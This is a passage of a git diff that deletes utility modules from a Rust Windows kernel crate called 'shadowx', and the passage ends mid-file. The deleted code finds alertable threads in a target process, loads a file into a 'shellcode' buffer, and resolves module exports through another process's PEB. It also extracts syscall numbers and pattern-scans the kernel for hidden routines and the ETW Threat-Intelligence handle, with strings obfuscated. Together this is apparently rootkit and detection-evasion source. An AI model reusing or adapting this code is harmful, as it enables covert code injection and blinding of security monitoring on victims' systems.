the module to locate. -/// -/// # Returns -/// -/// * `Ok(*mut c_void)` - A pointer to the base address of the module if found. -/// * `Err(ShadowError)` - If the module is not found or an error occurs during execution. -pub unsafe fn get_module_base_address(module_name: &str) -> Result<*mut c_void, ShadowError> { - // Initial call to ZwQuerySystemInformation to get the required buffer size for system module info - let mut return_bytes = 0; - ZwQuerySystemInformation(SystemModuleInformation, null_mut(), 0, &mut return_bytes); - - // Allocates non-paged pool memory to store system module information - let info_module = PoolMemory::new(POOL_FLAG_NON_PAGED, return_bytes as u64, u32::from_be_bytes(*b"dsdx")) - .map(|mem| mem.ptr as *mut SystemModuleInformation) // Converts to the appropriate type - .ok_or(ShadowError::FunctionExecutionFailed("PoolMemory", line!()))?; - - // Clears the allocated memory to ensure no garbage data is present - RtlZeroMemory(info_module as *mut winapi::ctypes::c_void, return_bytes as usize); - - // Retrieves the actual system module information - let status = ZwQuerySystemInformation( - SystemModuleInformation, - info_module as *mut winapi::ctypes::c_void, - return_bytes, - &mut return_bytes - ); - if !NT_SUCCESS(status) { - return Err(ShadowError::ApiCallFailed("ZwQuerySystemInformation", status)) - } - - // Iterates over the list of modules to find the one that matches the provided name - let module_count = (*info_module).ModuleCount; - for i in 0..module_count as usize { - let name = (*info_module).Modules[i].ImageName; - let module_base = (*info_module).Modules[i].ImageBase as *mut c_void; - if let Ok(name_str) = core::str::from_utf8(&name) { - if name_str.contains(module_name) { - return Ok(module_base); - } - } - } - - // If the module is not found, return an error - Err(ShadowError::FunctionExecutionFailed("get_module_base_address", line!())) -} - -/// Gets the address of a specified function within a module. -/// -/// # Arguments -/// -/// * `function_name` - A string slice containing the name of the function. -/// * `dll_base` - A pointer to the base address of the DLL. -/// -/// # Returns -/// -/// * `Option<*mut c_void>` - An optional pointer to the function's address, or None if the function is not found. -pub unsafe fn get_function_address(function_name: &str, dll_base: *mut c_void) -> Result<*mut c_void, ShadowError> { - let dos_header = dll_base as *const IMAGE_DOS_HEADER; - let nt_header = (dll_base as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64; - - let export_directory = (dll_base as usize + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY; - let names = from_raw_parts((dll_base as usize + (*export_directory).AddressOfNames as usize) as *const u32, (*export_directory).NumberOfNames as _); - let functions = from_raw_parts((dll_base as usize + (*export_directory).AddressOfFunctions as usize) as *const u32, (*export_directory).NumberOfFunctions as _); - let ordinals = from_raw_parts((dll_base as usize + (*export_directory).AddressOfNameOrdinals as usize) as *const u16,(*export_directory).NumberOfNames as _); - - for i in 0..(*export_directory).NumberOfNames as usize { - let name = CStr::from_ptr((dll_base as usize + names[i] as usize) as *const i8) - .to_str() - .map_err(|_| ShadowError::StringConversionFailed(names[i as usize] as usize))?; - - let ordinal = ordinals[i] as usize; - let address = (dll_base as usize + functions[ordinal] as usize) as *mut c_void; - if name == function_name { - return Ok(address); - } - } - - Err(ShadowError::FunctionNotFound(function_name.to_string())) -} \ No newline at end of file diff --git a/crates/shadowx/src/utils/file.rs b/crates/shadowx/src/utils/file.rs deleted file mode 100644 index ed80d39..0000000 --- a/crates/shadowx/src/utils/file.rs +++ /dev/null @@ -1,122 +0,0 @@ -use { - alloc::vec::Vec, - crate::error::ShadowError, - core::{ffi::c_void, ptr::null_mut}, - super::{handle::Handle, InitializeObjectAttributes}, - wdk_sys::{ - *, - ntddk::*, - _FILE_INFORMATION_CLASS::FileStandardInformation - }, -}; - -/// Reads the content of a file given its path in the NT kernel environment. -/// -/// This function opens a file specified by the given path, reads its content, -/// and returns the data as a vector of bytes. It uses the `ZwCreateFile` function -/// to open the file and `ZwReadFile` to read its content. The path is automatically -/// converted to NT format (e.g., `\\??\\C:\\path\\to\\file`). -/// -/// # Arguments -/// -/// * `path` - A string slice representing the path to the file. The path should follow -/// the standard Windows format (e.g., `C:\\path\\to\\file`). -/// -/// # Returns -/// -/// * `Ok(Vec)` - A vector containing the file's content as bytes if the file is successfully opened and read. -/// * `Err(ShadowError)` - If an error occurs during: -/// - Opening the file (`ZwCreateFile` failure), -/// - Querying file information (`ZwQueryInformationFile` failure), -/// - Reading the file (`ZwReadFile` failure). -pub fn read_file(path: &str) -> Result, ShadowError> { - // Converts the path to NT format (e.g., "\\??\\C:\\path\\to\\file") - let path_nt = alloc::format!("\\??\\{}", path); - - // Converts the NT path to a Unicode string - let file_name = crate::utils::uni::str_to_unicode(&path_nt); - - // Initializes the object attributes for opening the file, including setting - // it as case insensitive and kernel-handled - let mut io_status_block: _IO_STATUS_BLOCK = unsafe { core::mem::zeroed() }; - let mut obj_attr = InitializeObjectAttributes( - Some(&mut file_name.to_unicode()), - OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, - None, - None, - None - ); - - // Opens the file using ZwCreateFile with read permissions - let mut h_file: HANDLE = null_mut(); - let mut status = unsafe { - ZwCreateFile( - &mut h_file, - GENERIC_READ, - &mut obj_attr, - &mut io_status_block, - null_mut(), - FILE_ATTRIBUTE_NORMAL, - 0, - FILE_OPEN, - FILE_SYNCHRONOUS_IO_NONALERT, - null_mut(), - 0, - ) - }; - - if !NT_SUCCESS(status) { - return Err(ShadowError::ApiCallFailed("ZwCreateFile", status)); - } - - // Wrap the file handle in a safe Handle type - let h_file = Handle::new(h_file); - - // Placeholder for storing file information (e.g., size) - let mut file_info: FILE_STANDARD_INFORMATION = unsafe { core::mem::zeroed() }; - - // Queries file information, such as its size, using ZwQueryInformationFile - status = unsafe { - ZwQueryInformationFile( - h_file.get(), - &mut io_status_block, - &mut file_info as *mut _ as *mut c_void, - size_of::() as u32, - FileStandardInformation - ) - }; - - if !NT_SUCCESS(status) { - return Err(ShadowError::ApiCallFailed("ZwQueryInformationFile", status)); - } - - // Retrieves the file size from the queried file information - let file_size = unsafe { file_info.EndOfFile.QuadPart as usize }; - - // Initializes the byte offset to 0 for reading from the beginning of the file - let mut byte_offset: LARGE_INTEGER = unsafe { core::mem::zeroed() }; - byte_offset.QuadPart = 0; - - // Reads the file content into the buffer using ZwReadFile - let mut shellcode = alloc::vec![0u8; file_size]; - status = unsafe { - ZwReadFile( - h_file.get(), - null_mut(), - None, - null_mut(), - &mut io_status_block, - shellcode.as_mut_ptr() as *mut c_void, - file_size as u32, - &mut byte_offset, - null_mut() - ) - }; - - if !NT_SUCCESS(status) { - return Err(ShadowError::ApiCallFailed("ZwReadFile", status)); - } - - // Returns the file content as a vector of bytes if everything succeeds - Ok(shellcode) -} \ No newline at end of file diff --git a/crates/shadowx/src/utils/handle.rs b/crates/shadowx/src/utils/handle.rs deleted file mode 100644 index a38d3b0..0000000 --- a/crates/shadowx/src/utils/handle.rs +++ /dev/null @@ -1,54 +0,0 @@ -use wdk_sys::{ntddk::ZwClose, HANDLE}; - -/// A wrapper around a Windows `HANDLE` that automatically closes the handle when dropped. -/// -/// This struct provides a safe abstraction over raw Windows handles, ensuring that the -/// handle is properly closed when it goes out of scope, by calling `ZwClose` in its `Drop` -/// implementation. -pub struct Handle(HANDLE); - -impl Handle { - /// Creates a new `Handle` instance. - /// - /// This function wraps a raw Windows `HANDLE` inside the `Handle` struct. - /// - /// # Arguments - /// - /// * `handle` - A raw Windows `HANDLE` to wrap. - /// - /// # Returns - /// - /// * Returns a new `Handle` instance that encapsulates the provided raw `HANDLE`. - #[inline] - pub fn new(handle: HANDLE) -> Self { - Handle(handle) - } - - /// Returns the raw `HANDLE`. - /// - /// This function provides access to the underlying Windows handle - /// stored in the `Handle` struct. - /// - /// # Returns - /// - /// * Returns the raw Windows `HANDLE` encapsulated in the `Handle` struct. - #[inline] - pub fn get(&self) -> HANDLE { - self.0 - } -} - -impl Drop for Handle { - /// Automatically closes the `HANDLE` when the `Handle` instance is dropped. - /// - /// When the `Handle` goes out of scope, this method is called to ensure that - /// the underlying Windows handle is closed using the `ZwClose` function, unless - /// the handle is null. - fn drop(&mut self) { - if !self.0.is_null() { - unsafe { - ZwClose(self.0); - } - } - } -} \ No newline at end of file diff --git a/crates/shadowx/src/utils/lock.rs b/crates/shadowx/src/utils/lock.rs deleted file mode 100644 index 19a29c6..0000000 --- a/crates/shadowx/src/utils/lock.rs +++ /dev/null @@ -1,28 +0,0 @@ -use wdk_sys::ntddk::{ExAcquirePushLockExclusiveEx, ExReleasePushLockExclusiveEx}; - -/// Generic function that performs the operation with the lock already acquired. -/// It will acquire the lock exclusively and guarantee its release after use. -/// -/// # Arguments -/// -/// * `push_lock` - Pointer to the lock to be acquired. -/// * `operation` - The operation to be performed while the lock is active. -pub fn with_push_lock_exclusive(push_lock: *mut u64, operation: F) -> T -where - F: FnOnce() -> T, -{ - unsafe { - // Get the lock exclusively - ExAcquirePushLockExclusiveEx(push_lock, 0); - } - - // Performs the operation while the lock is active - let result = operation(); - - unsafe { - // Releases the lock after the operation - ExReleasePushLockExclusiveEx(push_lock, 0); - } - - result -} diff --git a/crates/shadowx/src/utils/mod.rs b/crates/shadowx/src/utils/mod.rs deleted file mode 100644 index 5387a1e..0000000 --- a/crates/shadowx/src/utils/mod.rs +++ /dev/null @@ -1,331 +0,0 @@ -use { - wdk_sys::{*, ntddk::*}, - alloc::string::{ToString, String}, - core::{ - ffi::{c_void, CStr}, - slice::from_raw_parts, - ptr::{null_mut, read_unaligned}, - }, - ntapi::{ - ntpebteb::PEB, - ntldr::LDR_DATA_TABLE_ENTRY, - ntzwapi::ZwQuerySystemInformation, - ntexapi::{ - SystemProcessInformation, - PSYSTEM_PROCESS_INFORMATION - }, - }, - winapi::um::winnt::{ - IMAGE_DOS_HEADER, - IMAGE_NT_HEADERS64, - IMAGE_EXPORT_DIRECTORY, - } -}; - -use crate::{ - *, - pool::PoolMemory, - error::ShadowError, - process_attach::ProcessAttach -}; - -pub mod uni; -pub mod lock; -pub mod patterns; -pub mod address; -pub mod pool; -pub mod handle; -pub mod file; -pub mod process_attach; - -/// Find a thread with an alertable status for the given process (PID). -/// -/// This function queries the system for all threads associated with the specified process. -/// It checks whether each thread meets specific conditions (e.g., non-terminating and alertable) -/// and returns the `KTHREAD` pointer if such a thread is found. -/// -/// # Arguments -/// -/// * `target_pid` - The process identifier (PID) for which to find an alertable thread. -/// -/// # Returns -/// -/// * `Ok(*mut _KTHREAD)` - A pointer to the `KTHREAD` of the found alertable thread. -/// * `Err(ShadowError)` - If no suitable thread is found or an error occurs during the search. -pub unsafe fn find_thread_alertable(target_pid: usize) -> Result<*mut _KTHREAD, ShadowError> { - // Initial call to get the necessary buffer size for system process information - let mut return_bytes = 0; - ZwQuerySystemInformation(SystemProcessInformation, null_mut(), 0, &mut return_bytes); - - // Allocate memory to store process information - let info_process = PoolMemory::new(POOL_FLAG_NON_PAGED, return_bytes as u64, u32::from_be_bytes(*b"oied")) - .map(|mem| mem.ptr as PSYSTEM_PROCESS_INFORMATION) - .ok_or(ShadowError::FunctionExecutionFailed("PoolMemory", line!()))?; - - // Query system information to get process and thread data - let status = ZwQuerySystemInformation( - SystemProcessInformation, - info_process as *mut winapi::ctypes::c_void, - return_bytes, - &mut return_bytes, - ); - - if !NT_SUCCESS(status) { - return Err(ShadowError::ApiCallFailed("ZwQuerySystemInformation", status)); - } - - // Iterate over process information to find the target PID and alertable thread - let mut process_info = info_process; - while (*process_info).NextEntryOffset != 0 { - let pid = (*process_info).UniqueProcessId as usize; - if pid == target_pid { - let threads_slice = from_raw_parts((*process_info).Threads.as_ptr(), (*process_info).NumberOfThreads as usize,); - for &thread in threads_slice { - let thread_id = thread.ClientId.UniqueThread as usize; - let target_thread = if let Ok(thread) = Thread::new(thread_id) { thread } else { continue }; - - if PsIsThreadTerminating(target_thread.e_thread) == 1 { - continue; - } - - let is_alertable = read_unaligned(target_thread.e_thread.cast::().offset(0x74) as *const u64) & 0x10; - let is_gui_thread = read_unaligned(target_thread.e_thread.cast::().offset(0x78) as *const u64) & 0x80; - let thread_kernel_stack = read_unaligned(target_thread.e_thread.cast::().offset(0x58) as *const u64); - let thread_context_stack = read_unaligned(target_thread.e_thread.cast::().offset(0x268) as *const u64); - - if is_alertable == 0 && is_gui_thread != 0 && thread_kernel_stack == 0 && thread_context_stack == 0 { - continue; - } - - return Ok(target_thread.e_thread) - } - } - - if (*process_info).NextEntryOffset == 0 { - break; - } - - process_info = (process_info as *const u8).add((*process_info).NextEntryOffset as usize) as PSYSTEM_PROCESS_INFORMATION; - } - - Err(ShadowError::FunctionExecutionFailed("find_thread_alertable", line!())) -} - -/// Retrieves the address of a function within a specific module loaded in a process's PEB. -/// -/// This function locates the specified module (DLL) in the process's PEB and searches for -/// the requested function within the module's export table. It returns the address of the -/// function if found. -/// -/// # Arguments -/// -/// * `pid` - The process identifier (PID) of the target process. -/// * `module_name` - The name of the module (e.g., DLL) to search for. -/// * `function_name` - The name of the function to locate within the module. -/// -/// # Returns -/// -/// * `Ok(*mut c_void)` - A pointer to the function's address if found. -/// * `Err(ShadowError)` - If the function or module is not found, or an error occurs during execution. -pub unsafe fn get_module_peb(pid: usize, module_name: &str, function_name: &str) -> Result<*mut c_void, ShadowError> { - // Attach to the target process and access its PEB - let target = Process::new(pid)?; - ProcessAttach::new(target.e_process); - let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB; - if target_peb.is_null() || (*target_peb).Ldr.is_null() { - return Err(ShadowError::FunctionExecutionFailed("PsGetProcessPeb", line!())); - } - - // Traverse the InLoadOrderModuleList to find the module - let current = &mut (*(*target_peb).Ldr).InLoadOrderModuleList as *mut winapi::shared::ntdef::LIST_ENTRY; - let mut next = (*(*target_peb).Ldr).InLoadOrderModuleList.Flink; - - while next != current { - if next.is_null() { - return Err(ShadowError::NullPointer("next LIST_ENTRY")); - } - - let list_entry = next as *mut LDR_DATA_TABLE_ENTRY; - if list_entry.is_null() { - return Err(ShadowError::NullPointer("next LDR_DATA_TABLE_ENTRY")); - } - - let buffer = core::slice::from_raw_parts( - (*list_entry).FullDllName.Buffer, - ((*list_entry).FullDllName.Length / 2) as usize, - ); - if buffer.is_empty() { - return Err(ShadowError::StringConversionFailed((*list_entry).FullDllName.Buffer as usize)); - } - - // Check if the module name matches - let dll_name = alloc::string::String::from_utf16_lossy(buffer); - if dll_name.to_lowercase().contains(module_name) { - let dll_base = (*list_entry).DllBase as usize; - let dos_header = dll_base as *mut IMAGE_DOS_HEADER; - let nt_header = (dll_base + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64; - - let export_directory = (dll_base + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *mut IMAGE_EXPORT_DIRECTORY; - let names = from_raw_parts((dll_base + (*export_directory).AddressOfNames as usize) as *const u32,(*export_directory).NumberOfNames as _); - let functions = from_raw_parts((dll_base + (*export_directory).AddressOfFunctions as usize) as *const u32,(*export_directory).NumberOfFunctions as _); - let ordinals = from_raw_parts((dll_base + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _); - - // Search for the function by name in the export table - for i in 0..(*export_directory).NumberOfNames as isize { - let name_module = CStr::from_ptr((dll_base + names[i as usize] as usize) as *const i8) - .to_str() - .map_err(|_| ShadowError::StringConversionFailed(names[i as usize] as usize))?; - - let ordinal = ordinals[i as usize] as usize; - let address = (dll_base + functions[ordinal] as usize) as *mut c_void; - if name_module == function_name { - return Ok(address); - } - } - } - - next = (*next).Flink; - } - - Err(ShadowError::ModuleNotFound(module_name.to_string())) -} - - -/// Retrieves the PID of a process by its name. -/// -/// # Arguments -/// -/// * `process_name` - A string slice containing the name of the process. -/// -/// # Returns -/// -/// * `Option` - An optional containing the PID of the process, or None if the process is not found. -pub unsafe fn get_process_by_name(process_name: &str) -> Result { - - let mut return_bytes = 0; - ZwQuerySystemInformation(SystemProcessInformation, null_mut(), 0, &mut return_bytes); - - let info_process = PoolMemory::new(POOL_FLAG_NON_PAGED, return_bytes as u64, u32::from_be_bytes(*b"diws")) - .map(|mem| mem.ptr as PSYSTEM_PROCESS_INFORMATION) - .ok_or(ShadowError::FunctionExecutionFailed("PoolMemory", line!()))?; - - let status = ZwQuerySystemInformation( - SystemProcessInformation, - info_process as *mut winapi::ctypes::c_void, - return_bytes, - &mut return_bytes, - ); - if !NT_SUCCESS(status) { - return Err(ShadowError::ApiCallFailed("ZwQuerySystemInformation", status)); - } - - let mut process_info = info_process; - - loop { - if !(*process_info).ImageName.Buffer.is_null() { - let image_name = from_raw_parts((*process_info).ImageName.Buffer, ((*process_info).ImageName.Length / 2) as usize); - let name = String::from_utf16_lossy(image_name); - if name == process_name { - let pid = (*process_info).UniqueProcessId as usize; - return Ok(pid); - } - } - - if (*process_info).NextEntryOffset == 0 { - break; - } - - process_info = (process_info as *const u8).add((*process_info).NextEntryOffset as usize) as PSYSTEM_PROCESS_INFORMATION; - } - - Err(ShadowError::ProcessNotFound(process_name.to_string())) -} - - -/// Validates if the given address is within the kernel memory range. -/// -/// # Arguments -/// -/// * `addr` - A 64-bit unsigned integer representing the address to validate. -/// -/// # Returns -/// -/// * `bool` - True if the address is within the kernel memory range, False otherwise. -pub fn valid_kernel_memory(addr: u64) -> bool { - addr > 0x8000000000000000 && addr < 0xFFFFFFFFFFFFFFFF -} - -/// Validates if the given address is within the user memory range. -/// -/// # Arguments -/// -/// * `addr` - A 64-bit unsigned integer representing the address to validate. -/// -/// # Returns -/// -/// * `bool` - True if the address is within the user memory range, False otherwise. -pub fn valid_user_memory(addr: u64) -> bool { - addr > 0 && addr < 0x7FFFFFFFFFFFFFFF -} - -/// Responsible for returning information on the modules loaded. -/// -/// # Returns -/// -/// - `Option<(*mut LDR_DATA_TABLE_ENTRY, i32)> `: Returns a content containing LDR_DATA_TABLE_ENTRY and the return of how many loaded modules there are in PsLoadedModuleList. -/// -pub fn list_modules() -> Result<(*mut LDR_DATA_TABLE_ENTRY, i32), ShadowError> { - let ps_module = crate::uni::str_to_unicode(obfstr::obfstr!("PsLoadedModuleList")); - let func = unsafe { MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY }; - - if func.is_null() { - return Err(ShadowError::NullPointer("LDR_DATA_TABLE_ENTRY")) - } - - let mut list_entry = unsafe { (*func).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY }; - let mut module_count = 0; - - let start_entry = list_entry; - while !list_entry.is_null() && list_entry != func { - module_count += 1; - list_entry = unsafe { (*list_entry).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY }; - } - - Ok((start_entry, module_count)) -} - -/// Initializes the `OBJECT_ATTRIBUTES` structure. -/// -/// # Arguments -/// -/// * `object_name` - An optional pointer to a `UNICODE_STRING` representing the name of the object. -/// If `None`, the object name is set to `null_mut()`. -/// * `attributes` - A `u32` representing the attributes of the object (e.g., `OBJ_CASE_INSENSITIVE`, `OBJ_KERNEL_HANDLE`). -/// * `root_directory` - An optional pointer to a root directory. If the object resides in a directory, -/// this pointer represents the root directory. If `None`, it is set to `null_mut()`. -/// * `security_descriptor` - An optional pointer to a security descriptor that defines -/// access control. If `None`, it is set to `null_mut()`. -/// * `security_quality_of_service` - An optional pointer to a security quality of service structure. -/// If `None`, it is set to `null_mut()`. -/// -/// # Returns -/// -/// * Returns an `OBJECT_ATTRIBUTES` structure initialized with the provided parameters. -/// If optional arguments are not provided, their corresponding fields are set to `null_mut()`. -#[allow(non_snake_case)] -pub fn InitializeObjectAttributes( - object_name: Option<*mut UNICODE_STRING>, - attributes: u32, - root_directory: Option<*mut c_void>, - security_descriptor: Option<*mut c_void>, - security_quality_of_service: Option<*mut c_void> -) -> OBJECT_ATTRIBUTES { - OBJECT_ATTRIBUTES { - Length: size_of::() as u32, - RootDirectory: root_directory.unwrap_or(null_mut()), - ObjectName: object_name.unwrap_or(null_mut()), - Attributes: attributes, - SecurityDescriptor: security_descriptor.unwrap_or(null_mut()), - SecurityQualityOfService: security_quality_of_service.unwrap_or(null_mut()) - } -} \ No newline at end of file diff --git a/crates/shadowx/src/utils/patterns.rs b/crates/shadowx/src/utils/patterns.rs deleted file mode 100644 index 8398078..0000000 --- a/crates/shadowx/src/utils/patterns.rs +++ /dev/null @@ -1,218 +0,0 @@ -use { - obfstr::obfstr, - crate::error::ShadowError, - wdk_sys::{ - ntddk::*, - *, - _SECTION_INHERIT::ViewUnmap - }, - core::{ - ffi::CStr, - ptr::{null_mut, read}, - slice::from_raw_parts, - ffi::c_void - }, - super::{ - address::get_module_base_address, - InitializeObjectAttributes, - }, - winapi::um::winnt::{ - IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, - IMAGE_NT_HEADERS64, IMAGE_SECTION_HEADER - } -}; - -/// Scans memory for a specific pattern of bytes in a specific section. -/// -/// # Arguments -/// -/// * `function_address` - The base address (in `usize` format) from which the scan should start. -/// * `pattern` - A slice of bytes (`&[u8]`) that represents the pattern you are searching for in memory. -/// * `offset` - Offset from the pattern position where the i32 value starts. -/// * `final_offset` - The final offset applied to the resulting address. -/// * `size` - The size of the memory to scan. -/// -/// # Returns -/// -/// * `Ok(*mut u8)` - The computed address after applying offsets and the found i32. -/// * `Err(ShadowError)` - Error if pattern not found or conversion fails. -pub unsafe fn scan_for_pattern( - function_address: *mut c_void, - pattern: &[u8], - offset: usize, - final_offset: isize, - size: usize, -) -> Result<*mut u8, ShadowError> { - let function_bytes = core::slice::from_raw_parts(function_address as *const u8, size); - - if let Some(x) = function_bytes.windows(pattern.len()).position(|window| window == pattern) { - let position = x + offset; - - // Converting the slice starting at the position to i32 (little-endian) - let offset_bytes = &function_bytes[position..position + 4]; - let offset = i32::from_le_bytes(offset_bytes.try_into().map_err(|_| ShadowError::PatternNotFound)?); - - // Calculating the final address - let address = function_address.cast::().add(x); - let next_address = address.offset(final_offset); - - // Returning the final address adjusted by the found offset - Ok(next_address.offset(offset as isize)) - } else { - Err(ShadowError::PatternNotFound) - } -} - -/// Retrieves the syscall index for a given function name. -/// -/// This function loads the `ntdll.dll` section and maps its export table to find the specified function. -/// Once the function is found, the syscall index (SSN) is extracted from the function's machine code. -/// -/// # Arguments -/// -/// * `function_name` - A string slice representing the name of the function for which to retrieve the syscall index. -/// -/// # Returns -/// -/// * `Ok(u16)` - Returns the syscall index (`u16`) if the function is found. -/// * `Err(ShadowError)` - Returns an error if the function is not found or if a system API call fails. -pub unsafe fn get_syscall_index(function_name: &str) -> Result { - let mut section_handle = null_mut(); - let dll = crate::utils::uni::str_to_unicode(obfstr!("\\KnownDlls\\ntdll.dll")); - let mut obj_attr = InitializeObjectAttributes(Some(&mut dll.to_unicode()), OBJ_CASE_INSENSITIVE, None, None, None); - let mut status = ZwOpenSection(&mut section_handle, SECTION_MAP_READ | SECTION_QUERY, &mut obj_attr); - if !NT_SUCCESS(status) { - return Err(ShadowError::ApiCallFailed("ZwOpenSection", status)) - } - - // Map ntdll.dll to memory and retrieve the address - let mut large: LARGE_INTEGER = core::mem::zeroed(); - let mut ntdll_addr = null_mut(); - let mut view_size = 0; - status = ZwMapViewOfSection( - section_handle, - 0xFFFFFFFFFFFFFFFF as *mut core::ffi::c_void, - &mut ntdll_addr, - 0, - 0, - &mut large, - &mut view_size, - ViewUnmap, - 0, - PAGE_READONLY, - ); - if !NT_SUCCESS(status) { - ZwClose(section_handle); - return Err(ShadowError::ApiCallFailed("ZwOpenZwMapViewOfSectionSection", status)); - } - - // Locate export directory, names, and functions for syscall extraction - let dos_header = ntdll_addr as *const IMAGE_DOS_HEADER; - let nt_header = (ntdll_addr as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64; - - let ntdll_addr = ntdll_addr as usize; - let export_directory = (ntdll_addr + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY; - let names = from_raw_parts((ntdll_addr + (*export_directory).AddressOfNames as usize) as *const u32, (*export_directory).NumberOfNames as _,); - let functions = from_raw_parts((ntdll_addr + (*export_directory).AddressOfFunctions as usize) as *const u32, (*export_directory).NumberOfFunctions as _,); - let ordinals = from_raw_parts((ntdll_addr + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _); - - // Search for the function by name and extract the syscall number (SSN) - for i in 0..(*export_directory).NumberOfNames as isize { - let name = CStr::from_ptr((ntdll_addr + names[i as usize] as usize) as *const i8) - .to_str() - .map_err(|_| ShadowError::StringConversionFailed(names[i as usize] as usize))?; - - let ordinal = ordinals[i as usize] as usize; - let address = (ntdll_addr + functions[ordinal] as usize) as *const u8; - if name == function_name && read(address) == 0x4C - && read(address.add(1)) == 0x8B - && read(address.add(2)) == 0xD1 - && read(address.add(3)) == 0xB8 - && read(address.add(6)) == 0x00 - && read(address.add(7)) == 0x00 - { - let high = read(address.add(5)) as u16; - let low = read(address.add(4)) as u16; - let ssn = (high << 8) | low; - - ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void); - ZwClose(section_handle); - return Ok(ssn); - } - } - - // Cleanup - ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void); - ZwClose(section_handle); - - Err(ShadowError::FunctionExecutionFailed("get_syscall_index", line!())) -} - -/// Finds the address of a specified Zw function by scanning the system kernel's `.text` section. -/// -/// # Arguments -/// -/// * `name` - The name of the Zw function to find. -/// -/// # Returns -/// -/// * `Ok(usize)` - Returns the address of the Zw function (`usize`) if found. -/// * `Err(ShadowError)` - Returns an error if the function is not found or a system error occurs. -/// It should be used with caution in kernel mode to prevent system instability. -pub unsafe fn find_zw_function(name: &str) -> Result { - let ssn = get_syscall_index(name)?; - let ntoskrnl_addr = get_module_base_address(obfstr!("ntoskrnl.exe"))?; - - let ssn_bytes = ssn.to_le_bytes(); - ZW_PATTERN[21] = ssn_bytes[0]; - ZW_PATTERN[22] = ssn_bytes[1]; - - let dos_header = ntoskrnl_addr as *const IMAGE_DOS_HEADER; - let nt_header = (ntoskrnl_addr as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64; - let section_header = (nt_header as usize + size_of::()) as *const IMAGE_SECTION_HEADER; - - // Scan the `.text` section for the matching pattern - for i in 0..(*nt_header).FileHeader.NumberOfSections as usize { - let section = (*section_header.add(i)).Name; - let name = core::str::from_utf8(§ion).unwrap().trim_matches('\0'); - - if name == obfstr!(".text") { - let text_start = ntoskrnl_addr as usize + (*section_header.add(i)).VirtualAddress as usize; - let text_end = text_start + *(*section_header.add(i)).Misc.VirtualSize() as usize; - let data = core::slice::from_raw_parts(text_start as *const u8, text_end - text_start); - - // Search for the Zw function by matching the pattern - if let Some(offset) = data.windows(ZW_PATTERN.len()) - .position(|window| { - window.iter().zip(&ZW_PATTERN[..]).all(|(d, p)| *p == 0xCC || *d == *p) - }) { - - return Ok(text_start + offset); - } - } - } - - Err(ShadowError::FunctionExecutionFailed("find_zw_function", line!())) -} - -/// The `ETWTI_PATTERN` represents a sequence of machine instructions used for -/// identifying the location of the `EtwThreatIntProvRegHandle` in memory. -pub const ETWTI_PATTERN: [u8; 5] = [ - 0x33, 0xD2, // 33d2 xor edx,edx - 0x48, 0x8B, 0x0D // 488b0dcd849300 mov rcx,qword ptr [nt!EtwThreatIntProvRegHandle (xxxx)] -]; - -/// The `ZW_PATTERN` represents a sequence of machine instructions used for -/// identifying system service routines within the Windows kernel. -pub static mut ZW_PATTERN: [u8; 30] = [ - 0x48, 0x8B, 0xC4, // mov rax, rsp - 0xFA, // cli - 0x48, 0x83, 0xEC, 0x10, // sub rsp, 10h - 0x50, // push rax - 0x9C, // pushfq - 0x6A, 0x10, // push 10h - 0x48, 0x8D, 0x05, 0xCC, 0xCC, 0xCC, 0xCC, // lea rax, KiServiceLinkage - 0x50, // push rax - 0xB8, 0xCC, 0xCC, 0xCC, 0xCC, // mov eax, - 0xE9, 0xCC, 0xCC, 0xCC, 0xCC // jmp KiServiceInternal -]; diff --git a/crates/shadowx/src/utils/pool.rs b/crates/shadowx/src/utils/pool.rs deleted file mode 100644 index 4e79f6f..0000000 --- a/crates/shadowx/src/utils/pool.rs +++ /dev/null @@ -1,63 +0,0 @@ -use core::ffi::c_void; -use wdk_sys::{ntddk::{ExAllocatePool2, ExFreePool}, POOL_FLAGS}; - -/// A wrapper around memory allocated from the pool in the Windows kernel. -/// -/// This struct provides a safe abstraction over memory allocated from the kernel pool. -/// It ensures that the allocated memory is properly freed when the `PoolMemory` goes out -/// of scope, by calling `ExFreePool` in its `Drop` implementation. -pub struct PoolMemory { - /// A raw pointer to the allocated pool memory. - pub ptr: *mut c_void, -} - -impl PoolMemory { - /// Allocates memory from the Windows kernel pool. - /// - /// This function uses `ExAllocatePool2` to allocate a block of memory from the Windows kernel - /// pool. It returns `None` if the allocation fails, or `Some(PoolMemory)` if successful. - /// - /// # Arguments - /// - /// * `flag` - Flags controlling the behavior of the memory allocation, of type `POOL_FLAGS`. This determines - /// characteristics such as whether the memory is paged or non-paged. - /// * `number_of_bytes` - The size of the memory block to allocate, in bytes. - /// * `tag` - A tag (typically a 4-character identifier) used to identify the allocation in kernel memory tracking. - /// - /// # Returns - /// - /// * `Some` - If the memory allocation is successful, an instance of `PoolMemory` is returned to manage the memory. - /// * `None` - If the memory allocation fails, indicating insufficient memory or other issues. - /// - /// # Examples - /// ```rust - /// let pool_mem = PoolMemory::new(POOL_FLAG_NON_PAGED, 1024, u32::from_be_bytes(*b"tag")); - /// if let Some(mem) = pool_mem { - /// // Use allocated memory... - /// } else { - /// println!("Memory allocation failed"); - /// } - /// ``` - #[inline] - pub fn new(flag: POOL_FLAGS, number_of_bytes: u64, tag: u32) -> Option { - let ptr = unsafe { ExAllocatePool2(flag, number_of_bytes, tag) }; - if 